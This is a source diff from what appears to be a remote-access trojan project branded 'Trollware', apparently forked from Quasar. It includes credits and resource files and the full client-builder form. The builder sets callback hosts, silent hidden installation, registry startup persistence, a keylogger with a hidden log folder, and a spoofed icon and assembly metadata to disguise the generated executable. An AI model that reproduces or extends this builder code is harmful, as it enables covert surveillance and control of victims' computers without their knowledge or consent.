this.lblCredits1.AutoSize = true;
this.lblCredits1.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblCredits1.Location = new System.Drawing.Point(12, 104);
this.lblCredits1.Name = "lblCredits1";
this.lblCredits1.TabIndex = 5;
this.lblCredits1.Text = "@shixvx";
//
// lblRole1
//
this.lblRole1.AutoSize = true;
this.lblRole1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblRole1.Location = new System.Drawing.Point(14, 128);
this.lblRole1.Name = "lblRole1";
this.lblRole1.TabIndex = 6;
this.lblRole1.Text = "everything else";
//
// lblCredits2 (@zwclose)
//
this.lblCredits2.AutoSize = true;
this.lblCredits2.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblCredits2.Location = new System.Drawing.Point(12, 158);
this.lblCredits2.Name = "lblCredits2";
this.lblCredits2.TabIndex = 7;
this.lblCredits2.Text = "@zwclose";
//
// lblRole2
//
this.lblRole2.AutoSize = true;
this.lblRole2.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblRole2.Location = new System.Drawing.Point(14, 182);
this.lblRole2.Name = "lblRole2";
this.lblRole2.TabIndex = 8;
this.lblRole2.Text = "some ideas";
//
// btnOkay
//
this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnOkay.Location = new System.Drawing.Point(217, 205);
this.btnOkay.Name = "btnOkay";
this.btnOkay.Size = new System.Drawing.Size(75, 23);
this.btnOkay.TabIndex = 9;
this.btnOkay.Text = "&Okay";
this.btnOkay.UseVisualStyleBackColor = true;
this.btnOkay.Click += new System.EventHandler(this.btnOkay_Click);
//
// FrmAbout
//
this.AcceptButton = this.btnOkay;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnOkay;
this.ClientSize = new System.Drawing.Size(304, 240);
this.Controls.Add(this.lblTitle);
this.Controls.Add(this.lblSubTitle);
this.Controls.Add(this.lblVersion);
this.Controls.Add(this.lblSep);
this.Controls.Add(this.lblCredits1);
this.Controls.Add(this.lblRole1);
this.Controls.Add(this.lblCredits2);
this.Controls.Add(this.lblRole2);
this.Controls.Add(this.btnOkay);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmAbout";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Trollware - Credits";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblSubTitle;
private System.Windows.Forms.Label lblVersion;
private System.Windows.Forms.Label lblSep;
private System.Windows.Forms.Label lblCredits1;
private System.Windows.Forms.Label lblRole1;
private System.Windows.Forms.Label lblCredits2;
private System.Windows.Forms.Label lblRole2;
private System.Windows.Forms.Button btnOkay;
}
}
+19
View File
@@ -0,0 +1,19 @@
using System;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmAbout : Form
{
public FrmAbout()
{
InitializeComponent();
lblVersion.Text = $"v{Application.ProductVersion}";
}
private void btnOkay_Click(object sender, EventArgs e)
{
this.Close();
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAA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MAAAAAxbT/H7ib/xIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
File diff suppressed because it is too large Load Diff
+530
View File
@@ -0,0 +1,530 @@
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Server.Build;
using Quasar.Server.Models;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmBuilder : Form
{
private bool _profileLoaded;
private bool _changed;
private readonly BindingList<Host> _hosts = new BindingList<Host>();
private readonly HostsConverter _hostsConverter = new HostsConverter();
public FrmBuilder()
{
InitializeComponent();
}
private void LoadProfile(string profileName)
{
var profile = new BuilderProfile(profileName);
_hosts.Clear();
foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts))
_hosts.Add(host);
txtTag.Text = profile.Tag;
numericUpDownDelay.Value = profile.Delay;
txtMutex.Text = profile.Mutex;
chkInstall.Checked = profile.InstallClient;
txtInstallName.Text = profile.InstallName;
GetInstallPath(profile.InstallPath).Checked = true;
txtInstallSubDirectory.Text = profile.InstallSub;
chkHide.Checked = profile.HideFile;
chkHideSubDirectory.Checked = profile.HideSubDirectory;
chkStartup.Checked = profile.AddStartup;
txtRegistryKeyName.Text = profile.RegistryName;
chkChangeIcon.Checked = profile.ChangeIcon;
txtIconPath.Text = profile.IconPath;
chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
chkKeylogger.Checked = profile.Keylogger;
txtLogDirectoryName.Text = profile.LogDirectoryName;
chkHideLogDirectory.Checked = profile.HideLogDirectory;
txtProductName.Text = profile.ProductName;
txtDescription.Text = profile.Description;
txtCompanyName.Text = profile.CompanyName;
txtCopyright.Text = profile.Copyright;
txtTrademarks.Text = profile.Trademarks;
txtOriginalFilename.Text = profile.OriginalFilename;
txtProductVersion.Text = profile.ProductVersion;
txtFileVersion.Text = profile.FileVersion;
_profileLoaded = true;
}
private void SaveProfile(string profileName)
{
var profile = new BuilderProfile(profileName);
profile.Tag = txtTag.Text;
profile.Hosts = _hostsConverter.ListToRawHosts(_hosts);
profile.Delay = (int) numericUpDownDelay.Value;
profile.Mutex = txtMutex.Text;
profile.UnattendedMode = true;
profile.InstallClient = chkInstall.Checked;
profile.InstallName = txtInstallName.Text;
profile.InstallPath = GetInstallPath();
profile.InstallSub = txtInstallSubDirectory.Text;
profile.HideFile = chkHide.Checked;
profile.HideSubDirectory = chkHideSubDirectory.Checked;
profile.AddStartup = chkStartup.Checked;
profile.RegistryName = txtRegistryKeyName.Text;
profile.ChangeIcon = chkChangeIcon.Checked;
profile.IconPath = txtIconPath.Text;
profile.ChangeAsmInfo = chkChangeAsmInfo.Checked;
profile.Keylogger = chkKeylogger.Checked;
profile.LogDirectoryName = txtLogDirectoryName.Text;
profile.HideLogDirectory = chkHideLogDirectory.Checked;
profile.ProductName = txtProductName.Text;
profile.Description = txtDescription.Text;
profile.CompanyName = txtCompanyName.Text;
profile.Copyright = txtCopyright.Text;
profile.Trademarks = txtTrademarks.Text;
profile.OriginalFilename = txtOriginalFilename.Text;
profile.ProductVersion = txtProductVersion.Text;
profile.FileVersion = txtFileVersion.Text;
}
private void FrmBuilder_Load(object sender, EventArgs e)
{
lstHosts.DataSource = new BindingSource(_hosts, null);
LoadProfile("Default");
numericUpDownPort.Value = Settings.ListenPort;
UpdateInstallationControlStates();
UpdateStartupControlStates();
UpdateAssemblyControlStates();
UpdateIconControlStates();
UpdateKeyloggerControlStates();
}
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
{
if (_changed &&
MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected",
MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
SaveProfile("Default");
}
}
private void btnAddHost_Click(object sender, EventArgs e)
{
if (txtHost.Text.Length < 1) return;
HasChanged();
var host = txtHost.Text;
ushort port = (ushort) numericUpDownPort.Value;
_hosts.Add(new Host {Hostname = host, Port = port});
txtHost.Text = "";
}
#region "Context Menu"
private void removeHostToolStripMenuItem_Click(object sender, EventArgs e)
{
HasChanged();
List<string> selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList();
foreach (var item in selectedHosts)
{
foreach (var host in _hosts)
{
if (item == host.ToString())
{
_hosts.Remove(host);
break;
}
}
}
}
private void clearToolStripMenuItem_Click(object sender, EventArgs e)
{
HasChanged();
_hosts.Clear();
}
#endregion
#region "Misc"
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void btnMutex_Click(object sender, EventArgs e)
{
HasChanged();
txtMutex.Text = Guid.NewGuid().ToString();
}
private void chkInstall_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateInstallationControlStates();
}
private void chkStartup_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateStartupControlStates();
}
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateAssemblyControlStates();
}
private void chkKeylogger_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateKeyloggerControlStates();
}
private void btnBrowseIcon_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Title = "Choose Icon";
ofd.Filter = "Icons *.ico|*.ico";
ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK)
{
txtIconPath.Text = ofd.FileName;
iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle);
}
}
}
private void chkChangeIcon_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateIconControlStates();
}
#endregion
private bool CheckForEmptyInput()
{
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
_hosts.Count > 0 && // Connection
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
}
private BuildOptions GetBuildOptions()
{
BuildOptions options = new BuildOptions();
if (!CheckForEmptyInput())
{
throw new Exception("Please fill out all required fields!");
}
options.Tag = txtTag.Text;
options.Mutex = txtMutex.Text;
options.UnattendedMode = true;
options.RawHosts = _hostsConverter.ListToRawHosts(_hosts);
options.Delay = (int) numericUpDownDelay.Value;
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
options.InstallSub = txtInstallSubDirectory.Text;
options.InstallName = txtInstallName.Text + ".exe";
options.StartupName = txtRegistryKeyName.Text;
options.Install = chkInstall.Checked;
options.Startup = chkStartup.Checked;
options.HideFile = chkHide.Checked;
options.HideInstallSubdirectory = chkHideSubDirectory.Checked;
options.Keylogger = chkKeylogger.Checked;
options.LogDirectoryName = txtLogDirectoryName.Text;
options.HideLogDirectory = chkHideLogDirectory.Checked;
if (!File.Exists("client.bin"))
{
throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Trollware.");
}
if (options.RawHosts.Length < 2)
{
throw new Exception("Please enter a valid host to connect to.");
}
if (chkChangeIcon.Checked)
{
if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath))
{
throw new Exception("Please choose a valid icon path.");
}
}
else
options.IconPath = string.Empty;
if (chkChangeAsmInfo.Checked)
{
if (!IsValidVersionNumber(txtProductVersion.Text))
{
throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4");
}
if (!IsValidVersionNumber(txtFileVersion.Text))
{
throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4");
}
options.AssemblyInformation = new string[8];
options.AssemblyInformation[0] = txtProductName.Text;
options.AssemblyInformation[1] = txtDescription.Text;
options.AssemblyInformation[2] = txtCompanyName.Text;
options.AssemblyInformation[3] = txtCopyright.Text;
options.AssemblyInformation[4] = txtTrademarks.Text;
options.AssemblyInformation[5] = txtOriginalFilename.Text;
options.AssemblyInformation[6] = txtProductVersion.Text;
options.AssemblyInformation[7] = txtFileVersion.Text;
}
using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Title = "Save Client as";
sfd.Filter = "Executables *.exe|*.exe";
sfd.RestoreDirectory = true;
sfd.FileName = "Trollware-Built.exe";
if (sfd.ShowDialog() != DialogResult.OK)
{
throw new Exception("Please choose a valid output path.");
}
options.OutputPath = sfd.FileName;
}
if (string.IsNullOrEmpty(options.OutputPath))
{
throw new Exception("Please choose a valid output path.");
}
return options;
}
private void btnBuild_Click(object sender, EventArgs e)
{
BuildOptions options;
try
{
options = GetBuildOptions();
}
catch (Exception ex)
{
MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
SetBuildState(false);
Thread t = new Thread(BuildClient);
t.Start(options);
}
private void SetBuildState(bool state)
{
try
{
this.Invoke((MethodInvoker)delegate
{
btnBuild.Text = (state) ? "Build" : "Building...";
btnBuild.Enabled = state;
});
}
catch (InvalidOperationException)
{
}
}
private void BuildClient(object o)
{
try
{
BuildOptions options = (BuildOptions) o;
var builder = new ClientBuilder(options, "client.bin");
builder.Build();
try
{
this.Invoke((MethodInvoker) delegate
{
MessageBox.Show(this,
$"Successfully built client! Saved to:\\{options.OutputPath}",
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
});
}
catch (Exception)
{
}
}
catch (Exception ex)
{
try
{
this.Invoke((MethodInvoker)delegate
{
MessageBox.Show(this,
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
});
}
catch (Exception)
{
}
}
SetBuildState(true);
}
private void RefreshPreviewPath()
{
string path = string.Empty;
if (rbAppdata.Checked)
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbProgramFiles.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
}
private bool IsValidVersionNumber(string input)
{
Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
return match.Success;
}
private short GetInstallPath()
{
if (rbAppdata.Checked) return 1;
if (rbProgramFiles.Checked) return 2;
if (rbSystem.Checked) return 3;
throw new ArgumentException("InstallPath");
}
private RadioButton GetInstallPath(short installPath)
{
switch (installPath)
{
case 1:
return rbAppdata;
case 2:
return rbProgramFiles;
case 3:
return rbSystem;
default:
throw new ArgumentException("InstallPath");
}
}
private void UpdateAssemblyControlStates()
{
txtProductName.Enabled = chkChangeAsmInfo.Checked;
txtDescription.Enabled = chkChangeAsmInfo.Checked;
txtCompanyName.Enabled = chkChangeAsmInfo.Checked;
txtCopyright.Enabled = chkChangeAsmInfo.Checked;
txtTrademarks.Enabled = chkChangeAsmInfo.Checked;
txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked;
txtFileVersion.Enabled = chkChangeAsmInfo.Checked;
txtProductVersion.Enabled = chkChangeAsmInfo.Checked;
}
private void UpdateIconControlStates()
{
txtIconPath.Enabled = chkChangeIcon.Checked;
btnBrowseIcon.Enabled = chkChangeIcon.Checked;
}
private void UpdateStartupControlStates()
{
txtRegistryKeyName.Enabled = chkStartup.Checked;
}
private void UpdateInstallationControlStates()
{
txtInstallName.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked;
rbSystem.Enabled = chkInstall.Checked;
txtInstallSubDirectory.Enabled = chkInstall.Checked;
chkHide.Enabled = chkInstall.Checked;
chkHideSubDirectory.Enabled = chkInstall.Checked;
}
private void UpdateKeyloggerControlStates()
{
txtLogDirectoryName.Enabled = chkKeylogger.Checked;
chkHideLogDirectory.Enabled = chkKeylogger.Checked;
}
private void HasChanged()
{
if (!_changed && _profileLoaded)
_changed = true;
}
/// <summary>
/// Handles a basic change in setting.
/// </summary>
private void HasChangedSetting(object sender, EventArgs e)
{
HasChanged();
}
/// <summary>
/// Handles a basic change in setting, also refreshing the example file path.
/// </summary>
private void HasChangedSettingAndFilePath(object sender, EventArgs e)
{
HasChanged();
RefreshPreviewPath();
}
}
}
+203
View File
@@ -0,0 +1,203 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="tooltip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="contextMenuStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>105, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
